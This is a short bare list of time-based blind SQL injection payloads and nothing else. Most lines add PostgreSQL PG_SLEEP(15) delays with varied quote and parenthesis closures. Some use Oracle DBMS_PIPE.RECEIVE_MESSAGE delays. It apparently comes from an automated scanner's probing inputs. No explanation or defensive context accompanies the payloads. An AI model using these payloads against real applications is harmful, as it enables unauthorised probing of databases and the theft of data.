555-1 OR 783=(SELECT 783 FROM PG_SLEEP(15))--

555-1) OR 537=(SELECT 537 FROM PG_SLEEP(15))--

555-1)) OR 130=(SELECT 130 FROM PG_SLEEP(15))--

555NHjXX6gp' OR 844=(SELECT 844 FROM PG_SLEEP(15))--

555UOU7VsQX') OR 968=(SELECT 968 FROM PG_SLEEP(15))--

555AvAsJYHA')) OR 253=(SELECT 253 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555